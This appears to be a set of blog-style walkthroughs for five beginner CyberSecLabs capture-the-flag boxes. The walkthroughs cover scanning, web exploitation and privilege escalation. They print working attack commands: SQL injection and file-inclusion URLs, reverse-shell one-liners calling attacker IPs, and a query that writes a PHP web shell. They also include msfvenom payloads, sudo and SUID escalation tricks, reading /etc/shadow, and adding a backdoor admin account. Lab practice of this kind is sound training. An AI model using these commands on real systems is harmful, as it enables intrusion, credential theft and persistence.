CyberSecLabs – “Simple” Walkthrough

CyberSecLabs

Simple from CyberSecLabs is a beginner Linux box hosting a CMS Made Simple website. We’ll gain access to the target through a SQLi attack to find creds and then get a reverse shell through the admin web console. Finally we’ll use a binary with the SUID bit set to escalate our privileges to root.

Let’s get started.

Simple’s IP address is 172.31.1.2

Scanning and Enumeration

As always we start with a simple Nmap scan of the target.

nmap -sC -sV 172.31.1.2

Initial Nmap scan reveals to open ports. SSH on port 22, and HTTP on port 80. Which is also hosting a webserver.

Since we used -sC for default scripts, the Nmap scan results display the header info where we see its a website running on CMS Made Simple.

We discovered a web server let’s go ahead and run Gobuster to find any hidden or interesting directories.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.2

Fairly standard directories for a web server, however let’s note the the /admin which most likely contains a login page, and the /uploads folder which we might be able to use later on.

Now let’s check out the site in our browser and see if can learn anything else.

172.31.1.2

Confirmed our webserver is hosting a CMS Made Simple site. If we keep scrolling down to the bottom of the page we get the version information.

CMS Made Simple version 2.2.4

With the versioning information for CMS Made Simple we can start to look for relevant exploits. I’ll do a easy Searchsploit to check for available exploits.

searchsploit cms made simple 2.2 -w

Searchsploit results show a few exploits, but only one of them looks like it applies to our version. That’s the CMS Made Simple < 2.2.10 – SQL Injection.

It’s important to note here that while this isn’t an exact version match of 2.2.4. The presence of the < less than symbol means our exploit works for all versions prior to 2.2.10.

Exploitation

We have an exploit, we just need to run it and let it do its work. To check required arguments and prerequisites I run the exploit with no flags or args.

I immediately get a error. It’s an import error which occurs at the beginning of the python script. A module called termcolor isn’t found. I did a quick google and all we need to do is install this module to resolve the error.

python2 exploit.py

Use pip to install the “termcolor” module.

sudo pip install termcolor

With termcolor installed we can run the exploit. It’s a SQL injection attack which will enumerate the database for information on users, and will crack any hashes found with a wordlist you supply. I’m using the standard rockyou.txt wordlist included on Kali.

python2 exploit.py -u http://172.31.1.2 –crack -w /usr/share/wordlists/rockyou.txt
Exploit results

Success. We’ve enumerated the database and found a user named David and his password hash. Using the Rockyou.txt wordlist we cracked the hash and revealed the password.

Login to the /admin page we found earlier using the credentials we discovered. Enumerate the website. Under Content, we find a File Manger that allows us to upload files to the web server.

CMS File Upload Manager

We have access to the web site file manger. We need to upload a reverse shell that will connect back to our attacker machine and provide a remote shell.

The tried and true PHP reverse shell from PentestMonkey will serve our purposes. This reverse shell is also located on our Kali box.

You’ll need to open up the script and modify the IP and Port information before uploading. After a few tries, I notice that the upload is failing. Most likely the website is filtering certain file extensions. Simply modify the file extension to shtml.

shell.phtml uploaded successfully.

The reverse shell is uploaded. Setup a Netcat listener on the port you specified and navigate to the shell’s URL to execute the script.

nc -lvnp 1234
whoami

We have a reverse shell as the David user. However, this shell is limited. I’ll use python to attempt to spawn a bash prompt.

python -c ‘import pty;pty.spawn(“/bin/bash”)’
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

The first attempt didn’t work because python3 is installed not python 2. Making this adjustment allowed us to spawn a bash prompt as david@simple. This allows us greater flexibility and options while working in the shell.

Privilege Escalation

With a shell established as the low privileged user David we have access to the target. It’s time to enumerate the file system. For this I’ll be using LinPEAS.

First we need to transfer LinPEAS to the target.

Looks like we don’t have access to write to David’s home folder. So I change directory into /tmp and then transfer the file again using wget.

wget http://10.10.0.22/linpeas.sh
cd /tmp
wget http://10.10.0.22/linpeas.sh

Scrolling through the LinPEAS output, under the Interesting Files section we find a binary with the SUID bit set. Systemctl.

Interesting Files section of LinPEAS

Always always always look up binaries you find up GTFObins. Here we see the page for systemctl.

https://gtfobins.github.io/gtfobins/systemctl/

Basically we need to create a something.service file and then link it with systemctl. Inside the .service file we need to specify the command we want executed as root. You could modify this to collect other information but what we need is the root flag. Instead of using echo to create the file locally, I’ll create it on our Kali box and then transfer it with wget.

cat bad.service

I named the file bad.service and it’s ready to transfer. I tried using the /tmp directory but that didn’t work. I eventually found the /dev/shm directory.

With bad.service transferred to the target we just need to issue a few commands to complete the exploit. The first will link the bad.service with systemctl. The second command starts or enables the service. Since the service is running and doesn’t show its output in the terminal, we need one more command to view the status. Inside the status we find the flag as the result of cat /root/system.txt.

/bin/systemctl link /dev/shm/bad.service
/dev/shm$ /bin/systemctl enable –now bad.service
/bin/systemctl status bad.service

Simple from CyberSecLabs. An interesting beginner box that demonstrates the importance of enumeration. Enumeration of the webserver front end, enumeration of the backend using the SQL injection exploit, then enumeration of the admin web console. We then enumerated the file system using LinPEAS to find our binary with the SUID bit set.

Enumerate enumerate enumerate.

CyberSecLabs – “CMS” Walkthrough

CyberSecLabs

CMS from CyberSecLabs is a beginner level box hosting a WordPress installation. Using a file inclusion vulnerability we’ll gain access to the target, and exploit weak sudo permissions to escalate to root.

Let’s get started.

The IP Address for CMS is 172.31.1.8

Scanning and Enumeration

As always we run our Nmap scan against the target with -sC for default scripts, -sV for enable service enumeration, -p- to scan all TCP ports.

nmap -sC -sV -p- 172.31.1.8

Only two open ports on the target. Port 22 running SSH and port 80 hosting a HTTP web server. When we see this on a pentest or capture the flag, port 80 is almost always the initial entry point.

Next, I’ll run Nitko against the target to scan the web server.

nikto -h 172.31.1.8

Nothing actionable here other than confirming a WordPress installation. Let’s move on to directory busting.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.8

Again, we don’t find anything interesting, other than a couple WordPress pages.

Nikto and Gobuster didn’t provide us with any actionable information. We need to dig deeper and enumerate the web server. Which happens to be a WordPress site, let’s use….

WPScan – WordPress Security Scanner

WPScan is a WordPress vulnerability scanner that helps enumerate plugins, themes, and other information about WordPress installations. Let’s run this against the target web server.

WPScan with default options will generate a list of theme’s, and plugins to enumerate. It also points out which versions are out of date.

Here we see a plugin identified. I’m not familiar with this specific plugin, so I’ll do a quick Searchsploit to see if it has any known vulnerabilities.

wpscan –url 172.31.1.8

Searchsploit will search the local Exploit-DB repository on your Linux box. Provided you’ve updated the Searchsploit database, what you see here are the same results you’ll find on the Exploit-DB website.

We find an exploit for the WP with Spritz plugin. Our version also matches, so now we have a vulnerability to exploit.

searchsploit -w wp with spritz

Exploitation

We have a vulnerable WordPress plugin named WP-with-Spritz. Our exploit is a Remote File Inclusion vulnerability as stated in the title. However, if you look at the code we have two working POC’s. One Remote file inclusion, and one for Local file inclusion. Which one do we use to exploit?

File Inclusion Vulnerabilities

LFI or Local File Inclusion vulnerabilities allow the attacker to read and sometimes execute files on the target machine.

RFI or Remote File Inclusion vulnerabilities are easier to exploit but less common. Instead of accessing a file on the target system, the attacker is able to execute code hosted on their own machine.

Now we’ve got a primer on file inclusion vulnerabilities so let’s continue. Essentially, we’re manipulating the URL address into displaying local files on the target. The POC provided in the exploit will grab the /etc/passwd file. Since this file is readable by all users on a Linux system, this is a great way to test the vulnerability.

I navigate to the following URL and then right click and select “View Source”. This will provide the formatting associated with the file.

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

Pause for a moment and think back to our initial Nmap scan. Two ports open. One is the web server, and the other is SSH. That means we could probably find a user with a private key that might allow us to connect to the target over SSH.

On a Linux system private SSH keys are stored in the user’s home folder under .ssh. If we peak at the /etc/passwd file you notice the only other user account besides root is the “angel” account. That’s our user.

Modify our URL address path to /home/angel/.ssh/id_rsa in your browser and go. Again to format the file, right click and select “View Source”.

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/angel/.ssh/id_rsa

Copy the private key into a file named id_rsa. Then chmod on the file to allow us to execute it.

Now we’ll use the private key inside the id_rsa file to connect to the target over SSH as the angel user.

chmod 700 id_rsa
ssh -i id_rsa angel@172.31.1.8

Success! We are now logged into the target as Angel.

Privilege Escalation

You’ve gained access to a Linux system as a low privileged user. What’s the first thing you do?

Check Sudo Permissions. The easiest and quickest win on a Linux system can be found by running Sudo -L.

This will show you what commands can be run under the Root account without a password, by the current user.

sudo -l

This is the holy grail for Sudo permissions. If you ever find a user who can run (ALL : ALL) NOPASSWD: ALL, you can immediately own that box and become root.

Again, whatever command we run will be run under the Root account. All we have to do is spawn a bin/bash shell as the root user. Boom. Done. It’s that easy.

sudo -l
sudo /bin/bash

Capture the flags!

Don’t forget to capture your flags and complete the box.

cat /home/angel/access.txt
cat /root/system.txt

That is CMS from CyberSecLabs. An excellent beginner box that demonstrates how to exploit a file inclusion vulnerability to gain initial access to the target. Once we got our low privileged user, we used a simple Sudo command to spawn a root shell. Always, always, always check those Sudo permissions. That is easiest and quickest way to score a win on Linux.

CyberSecLabs – “Unroot” Walkthrough

CyberSecLabs

Unroot from CyberSecLabs is a beginner Linux box hosting a web server with a hidden ping-test page which we’ll exploit to get our initial low priv shell. For privilege escalation we will use a very simple Sudo exploit to get root.

Let’s get started.

Unroot’s IP Address is 172.31.1.17. Connect to the VPN and ping the target to verify connectivity.

Scanning and Enumeration

As usual we start with a simple Nmap scan of the target. Here I have -sC to run default scripts, and -sV to enumerate services.

nmap -sC -sV 172.31.1.17

Our Nmap output shows us we have two open ports. One being SSH on port 22, and we have HTTP on port 80. Additionally port 80 shows its running Apache and a phpmyadmin page.

Let’s explore port 80 further with directory busting. I’ll use a tool called GoBuster which is easy to use and efficient at searching for hidden directories. You’ll need a wordlist to use with Gobuster along with specifying extensions to search for. In this case I’m using the big.txt wordlist included on Kali Linux, and searching for directories and pages with the php extension since we already know the web server is hosting php.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.17 -x php

Gobuster revealed multiple pages and directories. Now you could go through these results one by one until you find something juicy. Let’s run another tool and see if it helps us narrow down that list. I run Nitko web scanner on any open HTTP ports I find and this target is no different.

nikto -h 172.31.1.17

Nikto found two interesting directories, /doc and /dev. Both have directory indexing enabled which allows us to navigate via a web browser. /Doc is usually a directory for… You guessed it documentation and manuals. /Dev sounds like it could be useful to us, let’s explore it further.

First I navigate to the target’s IP address and find a PhpMyAdmin login page. With any beginner box you might as well try a few common default passwords at a login prompt. You never know what might work. In this case, I couldn’t score a easy win with a username/password of admin/admin or anything else I tried. No worries.

172.31.1.17

Now I navigate to the /Dev directory, and we find the helpful index with a couple of pages. Info.php will show us all the php info and version information setup on this web server. That can be useful but you have to know what to look for and even then its not guaranteed to be exploitable or actionable. Next, we have ping-test.php. Ding ding ding. Red flag. This is something we can definitely exploit.

172.31.1.17/dev/

So this is a simple web page with a field to enter and run commands. It’s meant to be used to ping hosts on the network or confirm connectivity. However if it can execute the ping command, it might also allow us to run other commands.

172.31.1.17/dev/ping-test.php

Exploitation

We have a ping-test page with that allows us to execute commands from the target server. All we need now is a malicious command that will give us remote access to the target. This is otherwise known as a reverse shell one liner. Google will produce several cheat sheets for you to work through, lets go to one of the more well known and used cheat sheets from PentestMonkey.

We know the web server will execute php code so we can try out a php reverse shell one-liner. If you aren’t sure which one-liners to test out, you can always go down the list one by one until you get one that works.

php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Alternatively, I found this Netcat reverse shell one liner also worked on Unroot.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Start a Netcat listener on your favorite port and then execute the one liner on the ping-test page.

nc -lvnp 4321
whoami
python -c ‘import pty;pty.spawn(“/bin/bash”)’

You’ll get a reverse shell connection and notice this is a crappy basic shell and its somewhat limited. You could use python to spawn an interactive bash prompt. Or… If you could modify the one-liner to spawn a bash shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc -lvnp 4321

There we go, we have nice reverse shell prompt as the user “joe”.

Privilege Escalation

Unroot is another box where we don’t need to run automated tools like LinPEAS. The path for privilege escalation can be found utilizing one of the first commands I run when I get access to a Linux system.

Sudo -l

This reveals what sudo commands can be run by the current user. In this case “joe” is allowed to run ALL commands as any user except the root user. Well that’s disappointing. !root means not the root account.

What if this version of Sudo is vulnerable to an exploit that might help us? Do sudo –version to get the versioning info on Sudo. There we see Sudo version 1.8.16 is installed.

sudo -l
sudo –version

Searching through Exploit-DB you’ll see several potential exploits. Here I searched for Sudo 1.8. I didn’t include past the second decimal, you don’t want to be too specific while searching. You could miss an exploit that applies to your version while not being an exact version match. There are a lot of exploits that apply to all versions prior.

Exploit-DB results for “Sudo 1.8”

We have 7 possible exploits on Exploit-DB. You can go through each one of these and find the one that applies to our target.

Sudo 1.8.27 – Security bypass is the one that looks promising. Looking at the exploit code, we see this exploit allows a user to execute /bin/bash as the root user even when the Sudoers file specifically says we can’t do that. So why does that work? Here’s a quick explanation from the exploit code:

Sudo doesn't check for the existence of the specified user id and executes the command with an arbitrary user id with the sudo priv.
-u#-1 returns as 0 which is root's id

So if we execute /bin/bash and provide a bogus user id, Sudo will ignore our user id and instead use an arbitrary user with the sudo privilege. Therefore bypassing the check on the user ID and executing as root.

That’s a very simplified explanation, if you care to learn more there’s plenty of information available online around this exploit.

Simply run the following command.

sudo -u#-1 /bin/bash

This runs Sudo with -u specifying the user of -1 (which doesn’t exist) and executes /bin/bash (which spawns a bash prompt). You’ll get a root prompt and from there you can capture all the flags.

sudo -u#-1 /bin/bash
cat /home/joe/access.txt
cat /root/system.txt

That’s Unroot from CyberSecLabs. Really solid beginner Linux system which reinforces the basics of scanning and enumeration, exploitation and privilege escalation. Each step of the way its straightforward, and the only real challenge might be finding the priv esc path if you are new to pentesting.

CyberSecLabs – “Boats” Walkthrough

CyberSecLabs

Boats from CyberSecLabs is a beginner Windows box hosting a web server. I’ll demonstrate two different methods of exploitation. First we exploit a insecure phpMyAdmin install, and second we take advantage of a WordPress plugin Remote File Inclusion vulnerability.

Boats IP address is 172.31.1.14.

Scanning

I start with a Nmap scan running default scripts with service enumeration enabled for all 65,535 TCP ports.

nmap -sC -sV -p- 172.31.1.14

Multiple ports open. There’s a Apache web server on port 80. SMB on 445, and a few high level ports hosting HTTP services.

Enumeration

First we want to check out the web server on port 80. I see a WordPress blog apparently dedicated to the author’s love of… Boats. Cool. Not much going on here.

172.31.1.14 – A blog dedicated to Boats!

Let’s dig into this WordPress blog and see what’s hiding behind the front end web page. I run Gobuster with the big.txt wordlist to find hidden directories.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.14

We see several potentially interesting directories. Gobuster revealed a phpMyAdmin directory. If we browse to 172.31.1.14/phpmyadmin we find no password is required and we have full access to Phpmyadmin.

172.31.1.14/phpmyadmin/

Exploitation Route #1 – phpMyAdmin

We have phpMyAdmin access but what can we do with it? If you aren’t familiar with phpMyAdmin, what is is, or how to exploit it. Start with a google search for something like phpMyAdmin reverse shell. Check out the second link from Hacking Articles.

Google Search Results

If you scroll down into the article there’s a malicious SQL query that can be executed to create a web shell vulnerability on the web server.

The SQL query creates a file called backdoor.php which contains the php code for a standard web shell. This allows Windows commands to be executed inside the web browser and display the output on the web page.

SELECT “<?php system($_GET[‘cmd’]); ?>” into outfile “C:\\xampp\\htdocs\\backdoor.php”

Navigate to the backdoor.php file. To interact with the php web shell add a command to the URL. If you haven’t encountered a web shell before, you can add windows commands to be executed after cmd= in the URL and the output will be displayed on the web page.

172.31.1.14/backdoor.php?cmd=dir

That confirms our webshell is working. We see the contents of the htdocs folder.

I do a “whoami” command and see that I already have NT Authority\System access. I could capture the flags from the browser if I wanted to.

172.31.1.14/backdoor.php?cmd=whoami

The web shell is great for initial access and in this case you could capture the flags and be done with this box since no privilege escalation is required. However, let’s go one step further and upgrade the web shell to a meterpreter session. Upgrading your current shell to a better one is a concept that comes up often in CTFs and pentesting. You’ll want to get a good handle on this, so always practice when you can.

I create a Meterpreter reverse TCP shell payload with msfvenom with the file type of a windows executable.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.41 LPORT=1234 -f exe > shell.exe

Host the file with python http.server so we can transfer it to the target. This creates a simple web server in the directory of your choosing that hosts the files on the network so we can access them on the target.

python3 -m http.server 80

My favorite built-in windows file transfer method is using Certutil . I execute this command in the web shell and the file is transferred to the target.

172.31.1.14/backdoor.php?cmd=certutil -urlcache -split -f http://10.10.0.41/shell.exe shell.exe

Setup a Metasploit multi handler to receive the reverse shell. Finally execute the reverse shell payload by launching the executable from the browser.

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.0.41
set LPORT 1234
run
getuid

Exploitation Route #2 – WordPress Plugin

Since that was a quick win let’s explore another attack vector present that we’ve already discovered during our enumeration phase. The WordPress blog.

I’m going to use a tool called CMSmap to enumerate the WordPress installation. Another option would be a WPScan.

I run CMSmap against the URL address which in this case is the base web directory. The -F switch enables a full scan.

CMSMap results
./cmsmap.py http://172.31.1.14 -F

In the CMSmap results I see TheCartPress plugin has a Remote File Inclusion vulnerability. Bingo. CMSmap doesn’t provide a link to the exploit, so I’ll look it up in the Exploit-Database using Searchsploit.

searchsploit cartpress

If you take a look at the exploit it provides a URL within the CartPress plugin directory that is vulnerable to remote file inclusion. This means we can host a file on our attack machine that will be executed on the target.

POC
http://SERVER/WP_PATH/wp-content/plugins/thecartpress/checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=RFIPATH

We have our Remote file inclusion vulnerability, but now what we need a file that will serve as a web shell. Search google for “remote file inclusion shell github”. The first result is an excellent php based RFI shell by Namam Sahore. This will suit our purposes perfectly.

Google Search – remote file inclusion shell github

Download or place a copy of the knock.txt file on your attack machine.

We need to host the knock.txt file so the web server can access it remotely. I’ll use the http.server python3 module.

Now in your browser add the path to the knock.txt file which includes the IP Address of your attack machine. For example the path to access knock.txt on my machine would be http://10.10.0.41/knock.txt. Hit Enter and load the web page.

You’ll see right away we have a HTTP request for the knock.txt file from the target 172.31.1.14.

python3 -m http.server 80

Back in the browser, you’ll notice we have a basic web page with an option to issue commands and create a reverse php shell.

To use the web shell simply enter a command and hit CMD. From here we could use the same method to get a meterpreter reverse shell or we could capture the flags and be done.

From here you could use the same process to create a reverse shell payload and transfer it to the target. To keep things short I won’t explain the process again.

Post-Exploitation

Normally we’d capture the flags and be done but let’s go through this post-exploitation exercise. You can issue the follow commands from the web shell, however I’m working from my meterpreter prompt so I’ll spawn a shell from there.

The next two commands are simple but effective. First we create a new user for ourselves and second we add that user to the Local Administrators group.

net user outrunsec Outruns3c! /add
net localgroup administrators outrunsec /add

With the new outrunsec account created we can use Metasploit’s psexec module to get a reverse shell.

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set RHOSTS 172.31.1.14
set LHOST 10.10.0.41
set SMBUser outrunsec
set SMBPass Outruns3c!
run
getuid

Capture the Flags!

Once again I’ll drop into a command shell and capture the flags.

type “C:\Users\james\Desktop\access.txt”
type “C:\Users\Administrator\Desktop\system.txt”

There you have it two different routes for Boats from CyberSecLabs! Both exploiting different vulnerabilities to get a web shell as the NT AUTHORITY/SYSTEM user. The concepts shown here web exploitation, upgrading a shell, and creating persistence on the machine for easier repeat access are ideas that will keep coming up while pentesting.

CyberSecLabs – “Debug” Walkthrough

CyberSecLabs

Debug from CyberSecLabs is a beginner level Linux machine hosting a website. We’ll start with basic web exploitation for initial access and then learn a useful Linux privilege escalation technique.

Ping your target to verify connectivity. Debug’s IP address is 172.31.1.5.

Scanning

As always, we start with a standard Nmap scan running default scripts, service enumeration enabled, and scanning all 65,535 ports.

nmap -sC -sV -p- 172.31.1.5

You can see in the output we only have two ports to work with. Port 22 hosting ssh services, and port 80 hosting a HTTP web server. This greatly reduces our initial attack surface.

If you haven’t spent a lot of time pentesting, I’ll share my experience looking for SSH exploits. Typically, I’ve found those mostly to be rabbit holes, leading nowhere. Version exploits for SSH do exist, but more often then not especially in CTFs, your probably heading in the wrong direction.

That leaves port 80, and a web server to exploit for our initial access. Browse out to the IP address of Debug, 172.31.1.5. Let’s take a look at the website.

Future Design website

Future Design’s website. We have a couple of pages, some filler text, not a lot there. I don’t see a login page, or anything interesting. Let’s dig a little deeper and see if there’s some hidden directories lurking behind this web server.

There’s several tools that you can use such as OWASP’s Dirbuster, Dirb, or Gobuster. Let’s use Gobuster.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.5

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.5

Notice the two directories we didn’t see listed on the website. One being /console and the other /server-status. When I try and navigate to /server-status I get a 404 error message, indicating I don’t have access to the webpage.

Depending on your preference, and methodology, you could have revealed this hidden /console directory using Nitko web scanner.

nikto -h 172.31.1.5

Initial Access

Navigate to 172.31.1.5/console.

172.31.1.5/console reveals a Interactive Console that allows python code execution

Interesting! We have a interactive console that allows us to execute python commands. I bet we can abuse this feature to get a reverse shell.

Since we know this console can execute python commands, that makes finding the right one-liner easy. If you haven’t already, bookmark this site from PenTestMonkey. It’s a great starting place for testing reverse shell one-liners.

Scroll down until you see this Python one-liner.

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“LHOST”,LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Since we are already inside a python console, remove the “python -c ‘” and the trailing comma at the end of the line. Make sure you’ve included your LHOST (local host) and a the LPORT (local port).

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.0.41”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

To receive the python reverse shell we need a netcat listener on whichever port you specified in the one-liner. In this case, my port is 1234. With your netcat listener started, execute the python command from the console.

Sometimes the reverse shell works first try, on other occasions it takes several tries. If you don’t get a shell right away, be patient and execute the command until you do.

nc -lvnp 1234
python -c ‘import pty;pty.spawn(“/bin/bash”)’

We have a simple reverse shell running as the megan user. The first thing I want to do is spawn a TTY shell, which will give us the nice megan@debug prompt.

Privilege Escalation

What now? We need to enumerate the target system, by exploring files and services we can use or modify. This can be done manually, but there’s no reason to when automated tools and scripts will do the job for us.

I’ll be using LinPEAS as our automated privilege escalation tool. It’s part of the Privilege Escalation Awesome Scripts Suite. You can find it on Github.

Download LinPEAS.sh and fire up the Python SimpleHTTPServer on port 80 and we are ready to grab the file with wget.

python -m SimpleHTTPServer 80

I use wget to transfer the linpeas.sh file to the target and chmod to add the execute permission which we’ll need before running LinPEAS.

wget http://10.10.0.41/linpeas.sh
chmod +x linpeas.sh

Run LinPEAS.sh

LinPEAS
LinPEAS.sh output

LinPEAS will generate a lot of output. Under the Interesting Files section, I see a SUID binary highlighted. /usr/share/xxd has the SUID bit set, which will allow us to execute the binary with root level permissions since root is the file owner.

What is xxd? How do we use it? I’d never seen this binary before, so the first thing I did was look it up on GTFOBins. We have a SUID expoit.

XXD will allow us to read the contents of a file within the context of the root user account. What file do we already have on the system that requires root permissions to read? The /etc/shadow file if you aren’t familiar, contains all the actual password hashes for each user account on the system.

xxd /etc/shadow | xxd -r

Great, we have the password hash for the root account, and our low privileged user megan. Copy the hash into a new file, I named mine “hash”. Then use John the Ripper to crack the password using the massive rockyou.txt wordlist.

john –wordlist=/usr/share/wordlists/rockyou.txt hash

We have the actual root password, where do we use it? You might think back to our nmap and open ports. We do have SSH open, but not all accounts have SSH access setup. We need a way to become the root account and Linux has a built-in utility to switch the current user account to the root account.

su
Password
whoami

Notice after the su command and password is entered, our prompt changes context. It’s now a root@debug prompt instead of megan@debug. We’ve got root! Now we can capture all the flags.